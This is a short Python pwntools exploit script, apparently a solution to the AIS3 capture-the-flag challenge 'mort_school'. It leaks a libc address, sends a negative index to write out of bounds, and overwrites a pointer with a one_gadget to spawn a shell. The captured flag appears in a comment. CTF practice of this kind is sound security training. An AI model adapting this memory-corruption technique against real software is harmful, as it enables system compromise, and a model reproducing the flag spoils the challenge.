#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./mort_school')
#r = remote('60.250.197.227',10003)
libc = ELF('./libc.so.6')

r.recvuntil('Useful information: ')
libc_base = int(r.recvuntil('\n')[:-1], 16) - libc.symbols['puts']
print 'libc_base : ',hex(libc_base)
one_gadget = libc_base + 0x4f322
print 'one_gadget',hex(one_gadget)
system = libc_base + libc.symbols['system'] - 0x601e10

r.recvuntil('teach?\n')
r.sendline('-7')
r.recvuntil('message:\n')

r.send(p64(libc_base + 0x61a170 - 0x601e10 + 8) + p64(one_gadget))

r.recvuntil('again:\n')
raw_input('#')
r.sendline('a')

# AIS3{s7ay_At_h0ME_And_Keep_$Oc1@L_D1$T4Nc3,M0rTyS}
r.interactive()
